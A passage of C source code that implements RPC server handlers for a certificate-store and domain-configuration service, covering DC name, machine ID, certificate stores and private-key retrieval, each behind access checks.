VmAfdRpcServerFreeMemory(pwszDCName_rpc);
}
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcGetDCName failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcSetDCName(
rpc_binding_handle_t hBinding, /* IN */
PWSTR pwszDCName /* IN */
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
if IsNullOrEmptyString(pwszDCName)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR(dwError);
}
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvSetDCName(pwszDCName);
BAIL_ON_VMAFD_ERROR(dwError);
VmAfdLog(VMAFD_DEBUG_ANY, "VmAfdRpcSetDCName succeeded.");
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcSetDCName failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcGetPNID(
rpc_binding_handle_t hBinding,
PWSTR* ppwszPNID
)
{
DWORD dwError = 0;
PWSTR pwszPNID = NULL;
PWSTR pwszPNID_rpc = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
BAIL_ON_VMAFD_INVALID_POINTER(ppwszPNID, dwError);
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvGetPNID(&pwszPNID);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdRpcServerAllocateStringW(pwszPNID, &pwszPNID_rpc);
BAIL_ON_VMAFD_ERROR(dwError);
*ppwszPNID = pwszPNID_rpc;
cleanup:
VMAFD_SAFE_FREE_MEMORY(pwszPNID);
return dwError;
error:
if (ppwszPNID)
{
*ppwszPNID = NULL;
}
if (pwszPNID_rpc)
{
VmAfdRpcServerFreeMemory(pwszPNID_rpc);
}
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcGetPNID failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcSetPNID(
rpc_binding_handle_t hBinding,
PWSTR pwszPNID
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
if IsNullOrEmptyString(pwszPNID)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR(dwError);
}
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvSetPNID(pwszPNID);
BAIL_ON_VMAFD_ERROR(dwError);
VmAfdLog(VMAFD_DEBUG_ANY, "VmAfdRpcSetPNID succeeded.");
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcSetPNID failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcGetCAPath(
rpc_binding_handle_t hBinding,
PWSTR* ppwszPath
)
{
DWORD dwError = 0;
PWSTR pwszPath = NULL;
PWSTR pwszPath_rpc = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
BAIL_ON_VMAFD_INVALID_POINTER(ppwszPath, dwError);
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvGetCAPath(&pwszPath);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdRpcServerAllocateStringW(pwszPath, &pwszPath_rpc);
BAIL_ON_VMAFD_ERROR(dwError);
*ppwszPath = pwszPath_rpc;
cleanup:
VMAFD_SAFE_FREE_MEMORY(pwszPath);
return dwError;
error:
if (ppwszPath)
{
*ppwszPath = NULL;
}
if (pwszPath_rpc)
{
VmAfdRpcServerFreeMemory(pwszPath_rpc);
}
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcGetCAPath failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcSetCAPath(
rpc_binding_handle_t hBinding,
PWSTR pwszPath
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
if IsNullOrEmptyString(pwszPath)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR(dwError);
}
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvSetCAPath(pwszPath);
BAIL_ON_VMAFD_ERROR(dwError);
VmAfdLog(VMAFD_DEBUG_ANY, "VmAfdRpcSetCAPath succeeded.");
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcSetCAPath failed. Error(%u)",
dwError);
goto cleanup;
}
UINT32
Srv_VmAfdRpcGetSiteGUID(
rpc_binding_handle_t hBinding, /* IN */
PWSTR* ppwszGUID /* OUT */
)
{
DWORD dwError = 0;
PWSTR pwszGUID = NULL;
PWSTR pwszGUID_rpc = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
BAIL_ON_VMAFD_INVALID_POINTER(ppwszGUID, dwError);
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvGetSiteGUID(&pwszGUID);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdRpcServerAllocateStringW(pwszGUID, &pwszGUID_rpc);
BAIL_ON_VMAFD_ERROR(dwError);
*ppwszGUID = pwszGUID_rpc;
cleanup:
VMAFD_SAFE_FREE_MEMORY(pwszGUID);
return dwError;
error:
if (ppwszGUID)
{
*ppwszGUID = NULL;
}
if (pwszGUID_rpc)
{
VmAfdRpcServerFreeMemory(pwszGUID_rpc);
}
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcGetSiteGUID failed. Error(%u)",
dwError);
goto cleanup;
}
UINT32
Srv_VmAfdRpcGetMachineID(
rpc_binding_handle_t hBinding, /* IN */
PWSTR* ppwszGUID /* OUT */
)
{
DWORD dwError = 0;
PWSTR pwszGUID = NULL;
PWSTR pwszGUID_rpc = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
BAIL_ON_VMAFD_INVALID_POINTER(ppwszGUID, dwError);
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvCfgGetMachineID(&pwszGUID);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdRpcServerAllocateStringW(pwszGUID, &pwszGUID_rpc);
BAIL_ON_VMAFD_ERROR(dwError);
*ppwszGUID = pwszGUID_rpc;
cleanup:
VMAFD_SAFE_FREE_MEMORY(pwszGUID);
return dwError;
error:
if (ppwszGUID)
{
*ppwszGUID = NULL;
}
if (pwszGUID_rpc)
{
VmAfdRpcServerFreeMemory(pwszGUID_rpc);
}
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcGetMachineID failed. Error(%u)",
dwError);
goto cleanup;
}
UINT32
Srv_VmAfdRpcSetMachineID(
rpc_binding_handle_t hBinding, /* IN */
PWSTR pwszGUID /* IN */
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvSetMachineID(pwszGUID);
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcSetMachineID failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcQueryAD(
rpc_binding_handle_t hBinding, /* IN */
PWSTR *ppwszComputer, /* OUT */
PWSTR *ppwszDomain, /* OUT */
PWSTR *ppwszDistinguishedName, /* OUT */
PWSTR *ppwszNetbiosName /* OUT */
)
{
DWORD dwError = 0;
PWSTR pwszComputer = NULL;
PWSTR pwszDomain = NULL;
PWSTR pwszDistinguishedName = NULL;
PWSTR pwszNetbiosName = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfSrvQueryAD(
&pwszComputer,
&pwszDomain,
&pwszDistinguishedName,
&pwszNetbiosName);
BAIL_ON_VMAFD_ERROR(dwError);
*ppwszComputer = pwszComputer;
*ppwszDomain = pwszDomain;
*ppwszDistinguishedName = pwszDistinguishedName;
*ppwszNetbiosName = pwszNetbiosName;
VmAfdLog(VMAFD_DEBUG_ANY, "VmAfdRpcQueryAD succeeded.");
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcQueryAD failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcForceReplication(
rpc_binding_handle_t hBinding, /* IN */
PWSTR pwszServerName /* IN */
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
BAIL_ON_VMAFD_INVALID_POINTER(pwszServerName, dwError);
dwError = VmAfSrvForceReplication(pwszServerName);
BAIL_ON_VMAFD_ERROR(dwError);
VmAfdLog(VMAFD_DEBUG_ANY, "VmAfdRpcForceReplication succeeded.");
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcForceReplication failed. Error(%u)",
dwError);
goto cleanup;
}
DWORD
Srv_VmAfdRpcTriggerRootCertsRefresh(
handle_t hBinding
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdRootFetchTask(TRUE);
BAIL_ON_VMAFD_ERROR(dwError);
cleanup:
return dwError;
error:
VmAfdLog(VMAFD_DEBUG_ERROR, "VmAfdRpcTriggerRootCertsRefresh failed. Error(%u)",
dwError);
goto cleanup;
}
/*
* Creates a certificate store
*/
DWORD
Srv_VecsRpcCreateCertStore(
rpc_binding_handle_t hBinding,
PWSTR pszStoreName,
PWSTR pszPassword,
vecs_store_handle_t *ppStore
)
{
DWORD dwError = 0;
PVECS_SERV_STORE pStore = NULL;
size_t dwStoreNameLength = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
PVM_AFD_CONNECTION_CONTEXT pRootConnectionContext = NULL;
PVECS_SRV_STORE_HANDLE pStoreHandle = NULL;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (!pszStoreName || !ppStore)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR(dwError);
}
dwError = VmAfdGetStringLengthW (
pszStoreName,
&dwStoreNameLength
);
BAIL_ON_VMAFD_ERROR (dwError);
if (dwStoreNameLength > STORE_LABEL_MAX_LENGTH)
{
dwError = ERROR_LABEL_TOO_LONG;
BAIL_ON_VMAFD_ERROR (dwError);
}
dwError = VmAfdCreateAnonymousConnectionContext(&pRootConnectionContext);
BAIL_ON_VMAFD_ERROR (dwError);
dwError = VecsSrvCreateCertStoreWithAuth(
pszStoreName,
pszPassword,
pRootConnectionContext,
&pStoreHandle);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VmAfdGetStoreFromHandle(
pStoreHandle,
pRootConnectionContext->pSecurityContext,
&pStore
);
BAIL_ON_VMAFD_ERROR (dwError);
*ppStore = pStore;
cleanup:
if (pStoreHandle)
{
VecsSrvCloseCertStoreHandle(pStoreHandle, pRootConnectionContext);
}
if (pRootConnectionContext)
{
VmAfdFreeConnectionContext(pRootConnectionContext);
}
return dwError;
error:
VmAfdLog (
VMAFD_DEBUG_ERROR,
"VmAfdRpcCreateCertStore failed. Error (%u)",
dwError);
if (pStore)
{
VecsSrvReleaseCertStore(pStore);
}
goto cleanup;
}
DWORD
Srv_VecsRpcOpenCertStore(
rpc_binding_handle_t hBinding,
PWSTR pszStoreName,
PWSTR pszPassword,
vecs_store_handle_t *ppStore
)
{
DWORD dwError = 0;
PVECS_SERV_STORE pStore = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (!pszStoreName || !ppStore)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR(dwError);
}
dwError = VecsSrvOpenCertStore(
pszStoreName,
pszPassword,
&pStore);
BAIL_ON_VMAFD_ERROR(dwError);
*ppStore = pStore;
cleanup:
return dwError;
error:
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
if (pStore)
{
VecsSrvReleaseCertStore(pStore);
}
goto cleanup;
}
DWORD
Srv_VecsRpcCloseCertStore(
rpc_binding_handle_t hBinding,
vecs_store_handle_t *ppStore
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (!ppStore || !(*ppStore))
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR(dwError);
}
dwError = VecsSrvCloseCertStore(*ppStore);
BAIL_ON_VMAFD_ERROR(dwError);
*ppStore = NULL;
cleanup:
return dwError;
error:
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VecsRpcEnumCertStore(
rpc_binding_handle_t hBinding,
PVMAFD_CERT_STORE_ARRAY * ppCertStoreArray
)
{
DWORD dwError = 0;
PVMAFD_CERT_STORE_ARRAY pCertStoreArray = NULL;
PWSTR* ppszStoreNameArray = NULL;
DWORD dwCount = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (!ppCertStoreArray)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR (dwError);
}
dwError = VecsSrvEnumCertStore (
&ppszStoreNameArray,
&dwCount
);
BAIL_ON_VMAFD_ERROR (dwError);
dwError = VecsSrvRpcAllocateCertStoreArray(
ppszStoreNameArray,
dwCount,
&pCertStoreArray);
BAIL_ON_VMAFD_ERROR(dwError);
*ppCertStoreArray = pCertStoreArray;
cleanup:
if (ppszStoreNameArray)
{
VmAfdFreeStringArrayW(ppszStoreNameArray, dwCount);
}
return dwError;
error:
if (ppCertStoreArray)
{
*ppCertStoreArray = NULL;
}
if (pCertStoreArray)
{
VecsSrvRpcFreeCertStoreArray(pCertStoreArray);
}
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VecsRpcDeleteCertStore(
rpc_binding_handle_t hBinding,
PWSTR pwszStoreName
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (IsNullOrEmptyString(pwszStoreName))
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR(dwError);
}
dwError = VecsSrvDeleteCertStore(pwszStoreName);
BAIL_ON_VMAFD_ERROR(dwError);
error:
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
return dwError;
}
UINT32
Srv_VecsRpcBeginEnumCerts(
rpc_binding_handle_t hBinding,
vecs_store_handle_t pStore,
UINT32 dwMaxCount,
UINT32 dwInfoLevel,
UINT32* pdwLimit,
vecs_entry_enum_handle_t* ppEnumContext
)
{
DWORD dwError = 0;
PVECS_SRV_ENUM_CONTEXT pEnumContext = NULL;
PVECS_SERV_STORE pStore2 = (PVECS_SERV_STORE)pStore;
ENTRY_INFO_LEVEL infoLevel = ENTRY_INFO_LEVEL_UNDEFINED;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (!pStore || !ppEnumContext || !pdwLimit)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR(dwError);
}
dwError = VecsSrvValidateInfoLevel(dwInfoLevel,&infoLevel);
BAIL_ON_VMAFD_ERROR (dwError);
dwError = VecsSrvAllocateCertEnumContext(
pStore2,
dwMaxCount,
infoLevel,
&pEnumContext);
BAIL_ON_VMAFD_ERROR(dwError);
*ppEnumContext = pEnumContext;
*pdwLimit = pEnumContext->dwLimit;
cleanup:
return dwError;
error:
if (ppEnumContext)
{
*ppEnumContext = NULL;
}
if (pEnumContext)
{
VecsSrvReleaseEnumContext(pEnumContext);
}
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VecsRpcEnumCerts(
rpc_binding_handle_t hBinding,
vecs_entry_enum_handle_t pEnumContext,
PVMAFD_CERT_ARRAY* ppCertContainer
)
{
DWORD dwError = 0;
PVECS_SRV_ENUM_CONTEXT pContext = NULL;
PVMAFD_CERT_ARRAY pCertContainer = NULL;
PVMAFD_CERT_ARRAY pCertContainer_rpc = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (!pEnumContext || !ppCertContainer)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR(dwError);
}
pContext = (PVECS_SRV_ENUM_CONTEXT)pEnumContext;
pContext = VecsSrvAcquireEnumContext(pContext);
dwError = VecsSrvEnumCerts(pContext, &pCertContainer);
BAIL_ON_VMAFD_ERROR(dwError);
dwError = VecsRpcAllocateCertArray(pCertContainer, &pCertContainer_rpc);
BAIL_ON_VMAFD_ERROR (dwError);
pContext->dwIndex += pCertContainer_rpc->dwCount;
*ppCertContainer = pCertContainer_rpc;
cleanup:
if (pContext)
{
VecsSrvReleaseEnumContext(pContext);
}
if (pCertContainer)
{
VecsFreeCertArray(pCertContainer);
}
return dwError;
error:
if (ppCertContainer)
{
*ppCertContainer = NULL;
}
if (pCertContainer_rpc)
{
VecsSrvRpcFreeCertArray(pCertContainer_rpc);
}
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VecsRpcEndEnumCerts(
rpc_binding_handle_t hBinding,
vecs_entry_enum_handle_t* ppEnumContext
)
{
DWORD dwError = 0;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (!ppEnumContext || !*ppEnumContext)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR(dwError);
}
VecsSrvReleaseEnumContext((PVECS_SRV_ENUM_CONTEXT)*ppEnumContext);
*ppEnumContext = NULL;
cleanup:
return dwError;
error:
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VecsRpcGetEntryCount(
rpc_binding_handle_t hBinding,
vecs_store_handle_t pStore,
PDWORD pdwSize
)
{
DWORD dwError = 0;
DWORD dwSize = 0;
PVECS_SERV_STORE pStore2 = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (!pStore || !pdwSize)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR (dwError);
}
pStore2 = (PVECS_SERV_STORE)pStore;
pStore2 = VecsSrvAcquireCertStore(pStore2);
dwError = VecsSrvGetEntryCount(
pStore2,
&dwSize);
BAIL_ON_VMAFD_ERROR (dwError);
*pdwSize = dwSize;
cleanup:
if (pStore2)
{
VecsSrvReleaseCertStore(pStore2);
}
return dwError;
error:
if (pdwSize)
{
*pdwSize = 0;
}
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VecsRpcGetCertificateByAlias(
rpc_binding_handle_t hBinding,
vecs_store_handle_t pStore,
PWSTR pszAliasName,
PWSTR *pszCertificate
)
{
DWORD dwError = 0;
PWSTR pszCert = NULL;
PWSTR pszCert_rpc = NULL;
PVECS_SERV_STORE pStore2 = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (!pStore ||
IsNullOrEmptyString(pszAliasName) ||
!pszCertificate
)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR (dwError);
}
pStore2 = (PVECS_SERV_STORE)pStore;
pStore2 = VecsSrvAcquireCertStore(pStore2);
dwError = VecsSrvGetCertificateByAlias(
pStore2,
pszAliasName,
&pszCert
);
BAIL_ON_VMAFD_ERROR (dwError);
dwError = VmAfdRpcServerAllocateStringW(pszCert, &pszCert_rpc);
BAIL_ON_VMAFD_ERROR (dwError);
*pszCertificate = pszCert_rpc;
cleanup:
VMAFD_SAFE_FREE_MEMORY (pszCert);
if (pStore2)
{
VecsSrvReleaseCertStore(pStore2);
}
return dwError;
error:
if (pszCertificate)
{
*pszCertificate = NULL;
}
if (pszCert_rpc)
{
VmAfdRpcServerFreeMemory(pszCert_rpc);
}
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VecsRpcGetPrivateKeyByAlias(
rpc_binding_handle_t hBinding,
vecs_store_handle_t pStore,
PWSTR pszAliasName,
PWSTR pszPassword,
PWSTR *ppszPrivateKey
)
{
DWORD dwError = 0;
PWSTR pszPrivateKey = NULL;
PWSTR pszPrivateKey_Rpc = NULL;
PVECS_SERV_STORE pStore2 = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (!pStore ||
IsNullOrEmptyString(pszAliasName) ||
!ppszPrivateKey
)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR (dwError);
}
pStore2 = (PVECS_SERV_STORE)pStore;
pStore2 = VecsSrvAcquireCertStore(pStore2);
dwError = VecsSrvGetPrivateKeyByAlias(
pStore2,
pszAliasName,
pszPassword,
&pszPrivateKey
);
BAIL_ON_VMAFD_ERROR (dwError);
dwError = VmAfdRpcServerAllocateStringW(pszPrivateKey, &pszPrivateKey_Rpc);
BAIL_ON_VMAFD_ERROR (dwError);
*ppszPrivateKey = pszPrivateKey_Rpc;
cleanup:
VMAFD_SAFE_FREE_MEMORY (pszPrivateKey);
if (pStore2)
{
VecsSrvReleaseCertStore(pStore);
}
return dwError;
error:
if (ppszPrivateKey)
{
*ppszPrivateKey = NULL;
}
if (pszPrivateKey_Rpc)
{
VmAfdRpcServerFreeMemory(pszPrivateKey_Rpc);
}
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VecsRpcAddCertificate(
rpc_binding_handle_t hBinding,
vecs_store_handle_t pStore,
UINT32 entryType,
PWSTR pszAliasName,
PWSTR pszCertificate,
PWSTR pszPrivateKey,
PWSTR pszPassword,
UINT32 bAutoRefresh
)
{
DWORD dwError = 0;
PVECS_SERV_STORE pStore2 = NULL;
CERT_ENTRY_TYPE entryType1 = CERT_ENTRY_TYPE_UNKNOWN;
BOOLEAN bAutoRefresh1 = FALSE;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (!pStore)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR (dwError);
}
dwError = VecsSrvValidateEntryType(entryType, &entryType1);
BAIL_ON_VMAFD_ERROR (dwError);
if (bAutoRefresh)
{
bAutoRefresh1 = TRUE;
}
pStore2 = (PVECS_SERV_STORE)pStore;
pStore2 = VecsSrvAcquireCertStore(pStore2);
dwError = VecsSrvAddCertificate(
pStore2,
entryType1,
pszAliasName,
pszCertificate,
pszPrivateKey,
pszPassword,
bAutoRefresh1
);
BAIL_ON_VMAFD_ERROR (dwError);
cleanup:
if (pStore2)
{
VecsSrvReleaseCertStore(pStore2);
}
return dwError;
error:
VmAfdLog (
VMAFD_DEBUG_ERROR,
"%s failed. Error (%u)",
__FUNCTION__,
dwError);
goto cleanup;
}
UINT32
Srv_VecsRpcGetEntryTypeByAlias(
rpc_binding_handle_t hBinding,
vecs_store_handle_t pStore,
PWSTR pszAliasName,
UINT32* pEntryType
)
{
DWORD dwError = 0;
CERT_ENTRY_TYPE entryType = CERT_ENTRY_TYPE_UNKNOWN;
PVECS_SERV_STORE pStore2 = NULL;
DWORD dwRpcFlags = VMAFD_RPC_FLAG_ALLOW_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTH_TCPIP
| VMAFD_RPC_FLAG_REQUIRE_AUTHZ;
dwError = VmAfdRpcServerCheckAccess(hBinding, dwRpcFlags);
BAIL_ON_VMAFD_ERROR(dwError);
if (!pStore ||
IsNullOrEmptyString(pszAliasName) ||
!pEntryType
)
{
dwError = ERROR_INVALID_PARAMETER;
BAIL_ON_VMAFD_ERROR (dwError);
}
pStore2 = (PVECS_SERV_STORE)pStore;
pStore2 = VecsSrvAcquireCertStore (pStore2);
dwError = VecsSrvGetEntryTypeByAlias(
pStore2,
pszAliasName,
&entryType
);
BAIL_ON_VMAFD_ERROR (dwError);
*pEntryType = entryType;
cleanup:
if (pStore2)
{
VecsSrvReleaseCertStore(pStore2);
}
return dwError;
error:
if (pEntryType)
{
*pEntryType = 0;
}
VmAfdLog (
VMAFD_DEBUG_ERROR,
